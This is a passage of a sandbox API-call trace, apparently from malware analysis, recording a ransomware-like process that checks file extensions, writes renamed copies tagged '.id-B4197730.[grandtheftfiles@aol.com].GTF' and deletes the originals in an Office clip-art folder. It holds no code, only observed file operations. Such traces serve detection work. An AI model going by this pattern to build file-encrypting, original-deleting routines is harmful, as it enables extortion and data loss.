	[0089.454] lstrlenW (lpString=".jpg") returned 4
	[0089.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.454] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.454] lstrlenW (lpString="HM00116_.WMF") returned 12
	[0089.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.455] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=15852) returned 1
	[0089.455] CloseHandle (hObject=0x368) returned 1
	[0089.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220
	[0089.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.455] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.455] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.456] GetLastError () returned 0x0
	[0089.456] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x3dec, lpOverlapped=0x0) returned 1
	[0089.825] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x3df0, lpOverlapped=0x0) returned 1
	[0089.837] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.837] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.837] SetEndOfFile (hFile=0x334) returned 1
	[0089.838] CloseHandle (hObject=0x334) returned 1
	[0089.838] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.838] SetEndOfFile (hFile=0x368) returned 1
	[0089.839] CloseHandle (hObject=0x368) returned 1
	[0089.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1
	[0089.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0089.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0089.839] lstrlenW (lpString=".doc") returned 4
	[0089.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.840] lstrlenW (lpString=".docx") returned 5
	[0089.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.840] lstrlenW (lpString=".pdf") returned 4
	[0089.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.840] lstrlenW (lpString=".xls") returned 4
	[0089.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.840] lstrlenW (lpString=".xlsx") returned 5
	[0089.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.840] lstrlenW (lpString=".ppt") returned 4
	[0089.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0089.840] lstrlenW (lpString=".zip") returned 4
	[0089.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.840] lstrlenW (lpString=".rar") returned 4
	[0089.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.840] lstrlenW (lpString=".bz2") returned 4
	[0089.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.840] lstrlenW (lpString=".7z") returned 3
	[0089.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0089.840] lstrlenW (lpString=".dbf") returned 4
	[0089.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0089.840] lstrlenW (lpString=".1cd") returned 4
	[0089.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0089.840] lstrlenW (lpString=".jpg") returned 4
	[0089.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0089.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0089.841] lstrlenW (lpString=".doc") returned 4
	[0089.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.841] lstrlenW (lpString=".docx") returned 5
	[0089.841] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.841] lstrlenW (lpString=".pdf") returned 4
	[0089.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.841] lstrlenW (lpString=".xls") returned 4
	[0089.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.841] lstrlenW (lpString=".xlsx") returned 5
	[0089.841] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.841] lstrlenW (lpString=".ppt") returned 4
	[0089.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0089.841] lstrlenW (lpString=".zip") returned 4
	[0089.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.841] lstrlenW (lpString=".rar") returned 4
	[0089.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.841] lstrlenW (lpString=".bz2") returned 4
	[0089.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.841] lstrlenW (lpString=".7z") returned 3
	[0089.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0089.841] lstrlenW (lpString=".dbf") returned 4
	[0089.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0089.841] lstrlenW (lpString=".1cd") returned 4
	[0089.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0089.842] lstrlenW (lpString=".jpg") returned 4
	[0089.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.842] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.842] lstrlenW (lpString="IN00956_.WMF") returned 12
	[0089.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.842] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1256) returned 1
	[0089.842] CloseHandle (hObject=0x368) returned 1
	[0089.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220
	[0089.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.845] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.845] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.846] GetLastError () returned 0x0
	[0089.846] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x4e8, lpOverlapped=0x0) returned 1
	[0089.847] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0089.848] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.848] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.849] SetEndOfFile (hFile=0x334) returned 1
	[0089.849] CloseHandle (hObject=0x334) returned 1
	[0089.849] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.849] SetEndOfFile (hFile=0x368) returned 1
	[0089.850] CloseHandle (hObject=0x368) returned 1
	[0089.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1
	[0089.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0089.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0089.850] lstrlenW (lpString=".doc") returned 4
	[0089.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.850] lstrlenW (lpString=".docx") returned 5
	[0089.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.851] lstrlenW (lpString=".pdf") returned 4
	[0089.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.851] lstrlenW (lpString=".xls") returned 4
	[0089.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.851] lstrlenW (lpString=".xlsx") returned 5
	[0089.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.851] lstrlenW (lpString=".ppt") returned 4
	[0089.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0089.851] lstrlenW (lpString=".zip") returned 4
	[0089.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.851] lstrlenW (lpString=".rar") returned 4
	[0089.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.851] lstrlenW (lpString=".bz2") returned 4
	[0089.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.851] lstrlenW (lpString=".7z") returned 3
	[0089.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0089.851] lstrlenW (lpString=".dbf") returned 4
	[0089.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0089.851] lstrlenW (lpString=".1cd") returned 4
	[0089.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0089.851] lstrlenW (lpString=".jpg") returned 4
	[0089.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0089.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0089.851] lstrlenW (lpString=".doc") returned 4
	[0089.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.851] lstrlenW (lpString=".docx") returned 5
	[0089.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.851] lstrlenW (lpString=".pdf") returned 4
	[0089.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.852] lstrlenW (lpString=".xls") returned 4
	[0089.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.852] lstrlenW (lpString=".xlsx") returned 5
	[0089.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.852] lstrlenW (lpString=".ppt") returned 4
	[0089.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0089.852] lstrlenW (lpString=".zip") returned 4
	[0089.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.852] lstrlenW (lpString=".rar") returned 4
	[0089.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.852] lstrlenW (lpString=".bz2") returned 4
	[0089.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.852] lstrlenW (lpString=".7z") returned 3
	[0089.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0089.852] lstrlenW (lpString=".dbf") returned 4
	[0089.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0089.852] lstrlenW (lpString=".1cd") returned 4
	[0089.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0089.852] lstrlenW (lpString=".jpg") returned 4
	[0089.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.852] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.852] lstrlenW (lpString="IN00957_.WMF") returned 12
	[0089.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.853] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2944) returned 1
	[0089.853] CloseHandle (hObject=0x368) returned 1
	[0089.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220
	[0089.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.853] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.853] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.854] GetLastError () returned 0x0
	[0089.854] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xb80, lpOverlapped=0x0) returned 1
	[0089.861] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xb90, lpOverlapped=0x0) returned 1
	[0089.862] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.862] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.863] SetEndOfFile (hFile=0x334) returned 1
	[0089.863] CloseHandle (hObject=0x334) returned 1
	[0089.863] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.863] SetEndOfFile (hFile=0x368) returned 1
	[0089.864] CloseHandle (hObject=0x368) returned 1
	[0089.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1
	[0089.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0089.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0089.865] lstrlenW (lpString=".doc") returned 4
	[0089.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.865] lstrlenW (lpString=".docx") returned 5
	[0089.865] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.865] lstrlenW (lpString=".pdf") returned 4
	[0089.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.865] lstrlenW (lpString=".xls") returned 4
	[0089.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.865] lstrlenW (lpString=".xlsx") returned 5
	[0089.865] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.865] lstrlenW (lpString=".ppt") returned 4
	[0089.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0089.865] lstrlenW (lpString=".zip") returned 4
	[0089.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.865] lstrlenW (lpString=".rar") returned 4
	[0089.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.865] lstrlenW (lpString=".bz2") returned 4
	[0089.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.865] lstrlenW (lpString=".7z") returned 3
	[0089.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0089.865] lstrlenW (lpString=".dbf") returned 4
	[0089.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0089.865] lstrlenW (lpString=".1cd") returned 4
	[0089.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0089.865] lstrlenW (lpString=".jpg") returned 4
	[0089.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0089.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0089.866] lstrlenW (lpString=".doc") returned 4
	[0089.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.866] lstrlenW (lpString=".docx") returned 5
	[0089.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.866] lstrlenW (lpString=".pdf") returned 4
	[0089.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.866] lstrlenW (lpString=".xls") returned 4
	[0089.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.866] lstrlenW (lpString=".xlsx") returned 5
	[0089.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.866] lstrlenW (lpString=".ppt") returned 4
	[0089.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0089.866] lstrlenW (lpString=".zip") returned 4
	[0089.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.866] lstrlenW (lpString=".rar") returned 4
	[0089.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.866] lstrlenW (lpString=".bz2") returned 4
	[0089.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.866] lstrlenW (lpString=".7z") returned 3
	[0089.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0089.866] lstrlenW (lpString=".dbf") returned 4
	[0089.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0089.866] lstrlenW (lpString=".1cd") returned 4
	[0089.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
